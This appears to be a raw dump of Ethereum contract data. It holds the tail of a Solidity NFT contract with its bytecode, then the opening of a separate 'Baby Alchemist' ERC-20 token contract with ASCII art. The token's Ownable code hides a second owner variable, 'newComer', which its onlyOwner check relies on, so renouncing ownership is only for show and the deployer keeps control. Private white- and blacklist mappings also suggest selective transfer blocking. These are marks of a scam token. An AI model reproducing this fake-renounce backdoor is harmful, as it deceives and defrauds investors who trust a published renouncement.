return info.list[_tokenId].approved;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return info.users[_owner].approved[_operator];
}
function getSeed(uint256 _tokenId) public view returns (bytes32) {
require(_tokenId < totalSupply());
return info.list[_tokenId].seed;
}
function getName(uint256 _tokenId) public view returns (string memory) {
require(_tokenId < totalSupply());
return info.list[_tokenId].name;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return info.users[_owner].list[_index];
}
function isClaimed(uint256 _index) public view returns (bool) {
uint256 _claimedWordIndex = _index / 256;
uint256 _claimedBitIndex = _index % 256;
uint256 _claimedWord = info.claimedBitMap[_claimedWordIndex];
uint256 _mask = (1 << _claimedBitIndex);
return _claimedWord & _mask == _mask;
}
function getRabbit(uint256 _tokenId) public view returns (address tokenOwner, address approved, bytes32 seed, string memory tokenName) {
return (ownerOf(_tokenId), getApproved(_tokenId), getSeed(_tokenId), getName(_tokenId));
}
function getRabbits(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names) {
uint256 _length = _tokenIds.length;
owners = new address[](_length);
approveds = new address[](_length);
seeds = new bytes32[](_length);
names = new bytes32[](_length);
for (uint256 i = 0; i < _length; i++) {
string memory _name;
(owners[i], approveds[i], seeds[i], _name) = getRabbit(_tokenIds[i]);
names[i] = _stringToBytes32(_name);
}
}
function getRabbitsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalRabbits, uint256 totalPages) {
require(_limit > 0);
totalRabbits = totalSupply();
if (totalRabbits > 0) {
totalPages = (totalRabbits / _limit) + (totalRabbits % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalRabbits % _limit != 0) {
_limit = totalRabbits % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalRabbits - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(owners, approveds, seeds, names) = getRabbits(tokenIds);
}
function getOwnerRabbitsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalRabbits, uint256 totalPages) {
require(_limit > 0);
totalRabbits = balanceOf(_owner);
if (totalRabbits > 0) {
totalPages = (totalRabbits / _limit) + (totalRabbits % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalRabbits % _limit != 0) {
_limit = totalRabbits % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalRabbits - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
( , approveds, seeds, names) = getRabbits(tokenIds);
}
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 minted, uint256 ownerBalance) {
return (totalSupply(), totalMinted(), balanceOf(_owner));
}
function _mint(address _user) internal {
require(totalMinted() < MINTABLE_SUPPLY);
info.totalMinted++;
_create(_user);
}
function _create(address _user) internal {
require(totalSupply() < MAX_SUPPLY);
uint256 _tokenId = info.totalSupply++;
Token storage _newToken = info.list[_tokenId];
_newToken.owner = _user;
bytes32 _seed = keccak256(abi.encodePacked(_tokenId, _user, blockhash(block.number - 1), gasleft()));
_newToken.seed = _seed;
uint256 _index = info.users[_user].balance++;
info.users[_user].indexOf[_tokenId] = _index + 1;
info.users[_user].list[_index] = _tokenId;
emit Transfer(address(0x0), _user, _tokenId);
emit Mint(_user, _tokenId, _seed);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
address _owner = ownerOf(_tokenId);
address _approved = getApproved(_tokenId);
require(_from == _owner);
require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender));
info.list[_tokenId].owner = _to;
if (_approved != address(0x0)) {
info.list[_tokenId].approved = address(0x0);
emit Approval(address(0x0), address(0x0), _tokenId);
}
uint256 _index = info.users[_from].indexOf[_tokenId] - 1;
uint256 _moved = info.users[_from].list[info.users[_from].balance - 1];
info.users[_from].list[_index] = _moved;
info.users[_from].indexOf[_moved] = _index + 1;
info.users[_from].balance--;
delete info.users[_from].indexOf[_tokenId];
uint256 _newIndex = info.users[_to].balance++;
info.users[_to].indexOf[_tokenId] = _newIndex + 1;
info.users[_to].list[_newIndex] = _tokenId;
emit Transfer(_from, _to, _tokenId);
}
function _verify(bytes32[] memory _proof, bytes32 _leaf) internal view returns (bool) {
bytes32 _computedHash = _leaf;
for (uint256 i = 0; i < _proof.length; i++) {
bytes32 _proofElement = _proof[i];
if (_computedHash <= _proofElement) {
_computedHash = keccak256(abi.encodePacked(_computedHash, _proofElement));
} else {
_computedHash = keccak256(abi.encodePacked(_proofElement, _computedHash));
}
}
return _computedHash == info.merkleRoot;
}
function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) {
if (bytes(_in).length == 0) {
return 0x0;
}
assembly {
out := mload(add(_in, 32))
}
}
}
|
0x6080604052600436106102345760003560e01c80636352211e1161012e578063c662e481116100ab578063e6ed6c741161006f578063e6ed6c74146106b1578063e8a3d485146106e1578063e985e9c5146106f6578063eeca530a14610743578063f3cb83851461077557600080fd5b8063c662e4811461062a578063c87b56dd14610646578063d547cfb714610666578063dfc2c53c1461067b578063e0d4ea371461069157600080fd5b806395d89b41116100f257806395d89b41146105a05780639e34070f146105b5578063a22cb465146105d5578063a2309ff8146105f5578063b88d4fde1461060a57600080fd5b80636352211e146104f75780636b8ff5741461051757806370a0823114610537578063860749851461056d5780638da5cb5b1461058257600080fd5b806318160ddd116101bc5780633ec2d836116101805780633ec2d8361461044757806342842e0e146104675780634311de8f146104875780634f6ccce71461049c57806357f6b812146104bc57600080fd5b806318160ddd146103b257806323b872dd146103d15780632e7ba6ef146103f15780632f745c591461041157806332cb6b0c1461043157600080fd5b8063081812fc11610203578063081812fc146102ff578063095ea7b314610337578063117751e1146103575780631249c58b1461038a57806313af40351461039257600080fd5b806301ffc9a71461025a57806303b84f951461029f578063059513a6146102cf57806306fdde03146102dd57600080fd5b366102555761025361024e670214e8348c4f000034612381565b610795565b005b600080fd5b34801561026657600080fd5b5061028a610275366004611eaf565b60086020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b3480156102ab57600080fd5b506102bf6102ba366004611e03565b610830565b604051610296949392919061219d565b61025361024e366004611f5f565b3480156102e957600080fd5b506102f2610a25565b60405161029691906122ff565b34801561030b57600080fd5b5061031f61031a366004611f5f565b610aab565b6040516001600160a01b039091168152602001610296565b34801561034357600080fd5b50610253610352366004611d8f565b610ad9565b34801561036357600080fd5b5061037761037236600461208b565b610b5b565b60405161029697969594939291906121f5565b610253610ce6565b34801561039e57600080fd5b506102536103ad366004611c0e565b610cf2565b3480156103be57600080fd5b506000545b604051908152602001610296565b3480156103dd57600080fd5b506102536103ec366004611c6b565b610d2b565b3480156103fd57600080fd5b5061025361040c366004611f78565b610d36565b34801561041d57600080fd5b506103c361042c366004611d8f565b610e86565b34801561043d57600080fd5b506103c36103e881565b34801561045357600080fd5b50610253610462366004612010565b610ed7565b34801561047357600080fd5b50610253610482366004611c6b565b610f71565b34801561049357600080fd5b50610253610f8c565b3480156104a857600080fd5b506103c36104b7366004611f5f565b610fdb565b3480156104c857600080fd5b506104dc6104d7366004611c0e565b610fee565b60408051938452602084019290925290820152606001610296565b34801561050357600080fd5b5061031f610512366004611f5f565b611024565b34801561052357600080fd5b506102f2610532366004611f5f565b61104f565b34801561054357600080fd5b506103c3610552366004611c0e565b6001600160a01b031660009081526003602052604090205490565b34801561057957600080fd5b506103c3602081565b34801561058e57600080fd5b506007546001600160a01b031661031f565b3480156105ac57600080fd5b506102f2611106565b3480156105c157600080fd5b5061028a6105d0366004611f5f565b61114b565b3480156105e157600080fd5b506102536105f0366004611d5a565b61118c565b34801561060157600080fd5b506001546103c3565b34801561061657600080fd5b50610253610625366004611cac565b6111fc565b34801561063657600080fd5b506103c3670214e8348c4f000081565b34801561065257600080fd5b506102f2610661366004611f5f565b6112bc565b34801561067257600080fd5b506102f2611343565b34801561068757600080fd5b506103c36101d981565b34801561069d57600080fd5b506103c36106ac366004611f5f565b611388565b3480156106bd57600080fd5b506106d16106cc366004611f5f565b6113ae565b6040516102969493929190612160565b3480156106ed57600080fd5b506102f26113e8565b34801561070257600080fd5b5061028a610711366004611c32565b6001600160a01b0391821660009081526003602090815260408083209390941682526002909201909152205460ff1690565b34801561074f57600080fd5b5061076361075e366004611dbb565b61142d565b6040516102969695949392919061226d565b34801561078157600080fd5b50610253610790366004611c0e565b6115ce565b600081116107a257600080fd5b60006107b6670214e8348c4f000083612395565b9050803410156107c557600080fd5b60005b828110156107eb576107d933611607565b806107e38161244d565b9150506107c8565b508034111561082c57336108fc61080283346123b4565b6040518115909202916000818181858888f1935050505015801561082a573d6000803e3d6000fd5b505b5050565b606080606080600085519050806001600160401b03811115610854576108546124be565b60405190808252806020026020018201604052801561087d578160200160208202803683370190505b509450806001600160401b03811115610898576108986124be565b6040519080825280602002602001820160405280156108c1578160200160208202803683370190505b509350806001600160401b038111156108dc576108dc6124be565b604051908082528060200260200182016040528015610905578160200160208202803683370190505b509250806001600160401b03811115610920576109206124be565b604051908082528060200260200182016040528015610949578160200160208202803683370190505b50915060005b81811015610a1c57606061097b88838151811061096e5761096e6124a8565b60200260200101516113ae565b8a868151811061098d5761098d6124a8565b602002602001018a87815181106109a6576109a66124a8565b602002602001018a88815181106109bf576109bf6124a8565b60209081029190910101939093526001600160a01b0393841690925292909116905290506109ec8161163e565b8483815181106109fe576109fe6124a8565b60209081029190910101525080610a148161244d565b91505061094f565b50509193509193565b600654604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610aa69190810190611ee9565b905090565b600080548210610aba57600080fd5b506000908152600260205260409020600101546001600160a01b031690565b610ae281611024565b6001600160a01b0316336001600160a01b031614610aff57600080fd5b60008181526002602052604080822060010180546001600160a01b0319166001600160a01b0386169081179091559051839233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a45050565b606080606080606060008060008a11610b7357600080fd5b60005491508115610cb557610b888a83612468565b15610b94576001610b97565b60005b60ff16610ba48b84612381565b610bae9190612369565b9050808910610bbc57600080fd5b6000610bc88a8c612395565b9050610bd56001836123b4565b8a148015610beb5750610be88b84612468565b15155b15610bfd57610bfa8b84612468565b9a505b8a6001600160401b03811115610c1557610c156124be565b604051908082528060200260200182016040528015610c3e578160200160208202803683370190505b50975060005b8b811015610cae57610c7f8a610c7557600182610c6185886123b4565b610c6b91906123b4565b6104b791906123b4565b6104b78284612369565b898281518110610c9157610c916124a8565b602090810291909101015280610ca68161244d565b915050610c44565b5050610cc9565b506040805160008082526020820190925296505b610cd287610830565b999d929c50909a5098509195509350915050565b610cf06001610795565b565b6007546001600160a01b03163314610d0957600080fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b61082a83838361165a565b610d3f8561114b565b15610d4957600080fd5b60408051602081018790526bffffffffffffffffffffffff19606087901b169181019190915260548101849052600090607401604051602081830303815290604052805190602001209050610dd2838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250859250611917915050565b610ddb57600080fd5b6000610de961010088612381565b90506000610df961010089612468565b600083815260046020526040812080546001841b1790559091505b86811015610e3757610e25886119c7565b80610e2f8161244d565b915050610e14565b50866001600160a01b0316887f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed02688604051610e7491815260200190565b60405180910390a35050505050505050565b6001600160a01b0382166000908152600360205260408120548210610eaa57600080fd5b506001600160a01b0391909116600090815260036020908152604080832093835260019093019052205490565b6020811115610ee557600080fd5b610eee83611024565b6001600160a01b0316336001600160a01b031614610f0b57600080fd5b6000838152600260205260409020610f27906003018383611b69565b5082336001600160a01b03167f200038820d751f67059d4e34d21526a659b7e2b7141ea1cfd7e1f95e1e0fca608484604051610f649291906122d0565b60405180910390a3505050565b61082a838383604051806020016040528060008152506111fc565b6007546001600160a01b03163314610fa357600080fd5b4780610fae57600080fd5b604051339082156108fc029083906000818181858888f1935050505015801561082c573d6000803e3d6000fd5b600080548210610fea57600080fd5b5090565b6000806000610ffc60005490565b6001546001600160a01b03959095166000908152600360205260409020549095909350915050565b60008054821061103357600080fd5b506000908152600260205260409020546001600160a01b031690565b606061105a60005490565b821061106557600080fd5b6000828152600260205260409020600301805461108190612412565b80601f01602080910402602001604051908101604052809291908181526020018280546110ad90612412565b80156110fa5780601f106110cf576101008083540402835291602001916110fa565b820191906000526020600020905b8154815290600101906020018083116110dd57829003601f168201915b50505050509050919050565b600654604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b158015610a6a57600080fd5b60008061115a61010084612381565b9050600061116a61010085612468565b60009283526004602052604090922054600190921b9182169091149392505050565b3360008181526003602090815260408083206001600160a01b0387168085526002909101835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61120784848461165a565b823b63ffffffff8116156112b557604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611247903390899088908890600401612160565b602060405180830381600087803b15801561126157600080fd5b505af1158015611275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112999190611ecc565b6001600160e01b03191663150b7a0260e01b146112b557600080fd5b5050505050565b60065460405163c87b56dd60e01b8152600481018390526060916001600160a01b03169063c87b56dd9060240160006040518083038186803b15801561130157600080fd5b505afa158015611315573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261133d9190810190611ee9565b92915050565b6006546040805163d547cfb760e01b815290516060926001600160a01b03169163d547cfb7916004808301926000929190829003018186803b158015610a6a57600080fd5b60008054821061139757600080fd5b506000908152600260208190526040909120015490565b600080600060606113be85611024565b6113c786610aab565b6113d087611388565b6113d98861104f565b93509350935093509193509193565b6006546040805163e8a3d48560e01b815290516060926001600160a01b03169163e8a3d485916004808301926000929190829003018186803b158015610a6a57600080fd5b6060806060806000806000891161144357600080fd5b6001600160a01b038a166000908152600360205260409020549150811561159c5761146e8983612468565b1561147a57600161147d565b60005b60ff1661148a8a84612381565b6114949190612369565b90508088106114a257600080fd5b60006114ae898b612395565b90506114bb6001836123b4565b891480156114d157506114ce8a84612468565b15155b156114e3576114e08a84612468565b99505b896001600160401b038111156114fb576114fb6124be565b604051908082528060200260200182016040528015611524578160200160208202803683370190505b50965060005b8a811015611595576115668c8a61155c5760018361154886896123b4565b61155291906123b4565b61042c91906123b4565b61042c8385612369565b888281518110611578576115786124a8565b60209081029190910101528061158d8161244d565b91505061152a565b50506115b0565b506040805160008082526020820190925295505b6115b986610830565b989d919c509a50969850919650949350505050565b6007546001600160a01b031633146115e557600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6101d961161360015490565b1061161d57600080fd5b6001805490600061162d8361244d565b919050555061163b816119c7565b50565b600081516000141561165257506000919050565b506020015190565b600061166582611024565b9050600061167283610aab565b9050816001600160a01b0316856001600160a01b03161461169257600080fd5b336001600160a01b03831614806116b15750336001600160a01b038216145b806116e257506001600160a01b038216600090815260036020908152604080832033845260020190915290205460ff165b6116eb57600080fd5b600083815260026020526040902080546001600160a01b0319166001600160a01b038681169190911790915581161561176a5760008381526002602052604080822060010180546001600160a01b03191690555184919081907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925908290a45b6001600160a01b0385166000908152600360208181526040808420878552909201905281205461179c906001906123b4565b6001600160a01b03871660009081526003602052604081208054929350909160019182019183916117cd91906123b4565b815260208082019290925260409081016000908120546001600160a01b038b1682526003845282822086835260019081019094529190208190559150611814908390612369565b6001600160a01b038816600081815260036020818152604080842087855280840183529084209590955592825290915281549190611851836123fb565b90915550506001600160a01b0380881660009081526003602081815260408084208a855283018252808420849055938a16835252908120805490826118958361244d565b9091555090506118a6816001612369565b6001600160a01b0380891660008181526003602081815260408084208d8552928301825280842096909655868352600190910190528381208a90559251899391928c16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a45050505050505050565b600081815b84518110156119bb576000858281518110611939576119396124a8565b6020026020010151905080831161197b5760408051602081018590529081018290526060016040516020818303038152906040528051906020012092506119a8565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b50806119b38161244d565b91505061191c565b50600554149392505050565b6103e86119d360005490565b106119dd57600080fd5b6000805481806119ec8361244d565b90915550600081815260026020526040812080546001600160a01b0319166001600160a01b0386161781559192508284611a276001436123b4565b405a604051602001611a64949392919093845260609290921b6bffffffffffffffffffffffff191660208401526034830152605482015260740190565b60408051601f198184030181529181528151602092830120600285018190556001600160a01b03871660009081526003909352908220805491935082611aa98361244d565b909155509050611aba816001612369565b6001600160a01b03861660008181526003602081815260408084208a85529283018252808420959095558583526001909101905282812087905591518692907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a483856001600160a01b03167f3dec94b8abc8f801eaade1616d3aadd3114b556a284267905e0a053b2df3989284604051611b5a91815260200190565b60405180910390a35050505050565b828054611b7590612412565b90600052602060002090601f016020900481019282611b975760008555611bdd565b82601f10611bb05782800160ff19823516178555611bdd565b82800160010185558215611bdd579182015b82811115611bdd578235825591602001919060010190611bc2565b50610fea9291505b80821115610fea5760008155600101611be5565b80358015158114611c0957600080fd5b919050565b600060208284031215611c2057600080fd5b8135611c2b816124d4565b9392505050565b60008060408385031215611c4557600080fd5b8235611c50816124d4565b91506020830135611c60816124d4565b809150509250929050565b600080600060608486031215611c8057600080fd5b8335611c8b816124d4565b92506020840135611c9b816124d4565b929592945050506040919091013590565b60008060008060808587031215611cc257600080fd5b8435611ccd816124d4565b93506020850135611cdd816124d4565b92506040850135915060608501356001600160401b03811115611cff57600080fd5b8501601f81018713611d1057600080fd5b8035611d23611d1e82612342565b612312565b818152886020838501011115611d3857600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b60008060408385031215611d6d57600080fd5b8235611d78816124d4565b9150611d8660208401611bf9565b90509250929050565b60008060408385031215611da257600080fd5b8235611dad816124d4565b946020939093013593505050565b60008060008060808587031215611dd157600080fd5b8435611ddc816124d4565b93506020850135925060408501359150611df860608601611bf9565b905092959194509250565b60006020808385031215611e1657600080fd5b82356001600160401b0380821115611e2d57600080fd5b818501915085601f830112611e4157600080fd5b813581811115611e5357611e536124be565b8060051b9150611e64848301612312565b8181528481019084860184860187018a1015611e7f57600080fd5b600095505b83861015611ea2578035835260019590950194918601918601611e84565b5098975050505050505050565b600060208284031215611ec157600080fd5b8135611c2b816124e9565b600060208284031215611ede57600080fd5b8151611c2b816124e9565b600060208284031215611efb57600080fd5b81516001600160401b03811115611f1157600080fd5b8201601f81018413611f2257600080fd5b8051611f30611d1e82612342565b818152856020838501011115611f4557600080fd5b611f568260208301602086016123cb565b95945050505050565b600060208284031215611f7157600080fd5b5035919050565b600080600080600060808688031215611f9057600080fd5b853594506020860135611fa2816124d4565b93506040860135925060608601356001600160401b0380821115611fc557600080fd5b818801915088601f830112611fd957600080fd5b813581811115611fe857600080fd5b8960208260051b8501011115611ffd57600080fd5b9699959850939650602001949392505050565b60008060006040848603121561202557600080fd5b8335925060208401356001600160401b038082111561204357600080fd5b818601915086601f83011261205757600080fd5b81358181111561206657600080fd5b87602082850101111561207857600080fd5b6020830194508093505050509250925092565b6000806000606084860312156120a057600080fd5b83359250602084013591506120b760408501611bf9565b90509250925092565b600081518084526020808501945080840160005b838110156120f95781516001600160a01b0316875295820195908201906001016120d4565b509495945050505050565b600081518084526020808501945080840160005b838110156120f957815187529582019590820190600101612118565b6000815180845261214c8160208601602086016123cb565b601f01601f19169290920160200192915050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061219390830184612134565b9695505050505050565b6080815260006121b060808301876120c0565b82810360208401526121c281876120c0565b905082810360408401526121d68186612104565b905082810360608401526121ea8185612104565b979650505050505050565b60e08152600061220860e083018a612104565b828103602084015261221a818a6120c0565b9050828103604084015261222e81896120c0565b905082810360608401526122428188612104565b905082810360808401526122568187612104565b60a0840195909552505060c0015295945050505050565b60c08152600061228060c0830189612104565b828103602084015261229281896120c0565b905082810360408401526122a68188612104565b905082810360608401526122ba8187612104565b6080840195909552505060a00152949350505050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b602081526000611c2b6020830184612134565b604051601f8201601f191681016001600160401b038111828210171561233a5761233a6124be565b604052919050565b60006001600160401b0382111561235b5761235b6124be565b50601f01601f191660200190565b6000821982111561237c5761237c61247c565b500190565b60008261239057612390612492565b500490565b60008160001904831182151516156123af576123af61247c565b500290565b6000828210156123c6576123c661247c565b500390565b60005b838110156123e65781810151838201526020016123ce565b838111156123f5576000848401525b50505050565b60008161240a5761240a61247c565b506000190190565b600181811c9082168061242657607f821691505b6020821081141561244757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156124615761246161247c565b5060010190565b60008261247757612477612492565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461163b57600080fd5b6001600160e01b03198116811461163b57600080fdfea264697066735822122083f13152fb81059c4cd9c2992412a4d0ad66f171b7311a2b6d4a79ba2eb5190064736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 5,301 |
0x4929522b1cf2604e73bacaa2292101585aa450cd
|
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
/**
Missed Alchemist? Say hello to...
THE BABY ALCHEMIST!
'"^^^^┌┌" ╙╣▓▓▓█▀▄╩▀╟▄█▀█║█╠╠╪╬▌▀╬▓████████████████████
'..^^^^^┌~ ╙▓▀▄█▓.▄██╫▓▓▒█▄╦╙╠╣███████████████████████
,▄▄Æ▓████████████▓▌▄▄;^^^^^^┌~ ║▓██░▓████╫█▌▒▓▌▒φ▒╬██████████████████████
▄▓▓█▓██████████████████████▄┌^,┌: ."▓█▌╓████████▐╫j▌▓╬▓╣██████████████████████
╟████████████████████████████▒^┌┌┌:- , ╙▀╓█████████▒░╠╩╕▐██████████▌▓▄╬▓█████████
╨█████████▀▀▀▀▀▀▀▀▀███████▌ '" "┌┌⌐░░δ▒▒▒▓▓▓M]╨██████████▓╬╔▒╩╙▀╨╨▀▀▀▀╫██▌ ╫█████████
╫╨└ └╫ ^ ]░Σ╠╠╬╣▓▓ ╫███████████▀╨▒#⌐,. '┐» └▀⌐ ▐█████████
,,╫▄▄▄▄▄▌▌▓▓▓▓▓▓▓▓▓▓▓▌▌▄▄▄▓▄µ ,░░▒╠╬╣▓▌.███████████Ö ╟▌█▓┐ " "w. ╫█████████
,▄▄▄▄▓█████▓████╙``j▒╩╨╠▒╙╩Γ╙╙╙╙╙╣███████▓▌▄▄▄▄▄Γ└║▓▒▐██████▀▀▀╙ ~'¬└└ . └▐█████████
└╙╙╙╙╙╙╙╙╙╙╙▓███╙ ┌Å╥██████µ╕ ╬╟█▓▓▀▀▀▀╨╙╙└└ ╔╢╬▒]████▓╪, ' ~ ' ▓██████████
╫███ ╣ ████████j ^╫████b ' ."":»╙╙=║▓▓▓▓╬╬ ...`~. '╓▀▓██████████
"███ ╫╙███████▌╫ ╙▀█▌Γ' ' ' ╓⌐╚▀▓█▓▄⌐ ,;;{≤ⁿ, ' ╔▓▒╣██████████
╟██▄ ╨▄╠▀▀▀▀├m─ "w . ' =ε≈#╣▓▓▓▌▄▄░│└└┘╙╙ ;╬░║▓██████████
╨██▌ └└└└ "-,└v '""░░░"]@╟╣▓▓▓██████▓▄ ` - ' .²╠▒φ╫▓██████████
▓████▌, └%▄Ç,^. ` φ╚╚)╫╣╣▓▓██████⌐ .,░░╠▓███████████
████████▄▄, ^w ╙╧ƒ^- ░∩^^┐╙╬╬╣▓▓███▌ .;»¡▒▓▓███████████
,µ▀██████████████▌▄▄▄▄▄≈≈g, V:^- "» 7"└╙╨╣▓▓▌' ╓α, ]░]╠╬╢████████████
æ▐▄▓▓█▓▓▓████████████████▌▓▓▌▄┘Γ*w, \:"^ . '^ . "╝╝ ,╠ª" ."¿>▐╣▐█████████████
,é▓██████████▓▓███████████████████▓▄; └╙\ ▐ .' . 'ⁿ,,~╓ó└ :░░▒╬░▓█████████████
╓╬▓█████████████████████████████████████▌µ. V▌ '. : ^!² ';]╠╩Ü╬███▓▓█████████
▄████████████████████████████████████████████▓µ └ '~ , .,,∩ b.█╬╩└' └"╙╨▓████
▄████████████████████████████████████████████████ . ''- .░░¡ ¡┌¡\ \ ▓╦, └▓███
╙███████████████████████████████████████████████╩-' ' └ ╘└ `` └└╙""¬╙▀██
*/
// Messsage to Anon!
// There are no official socials, but in our txns you will see our notes for the community
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BabyAlchemist is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000 * 10**18;
string private _name = 'Baby Alchemist';
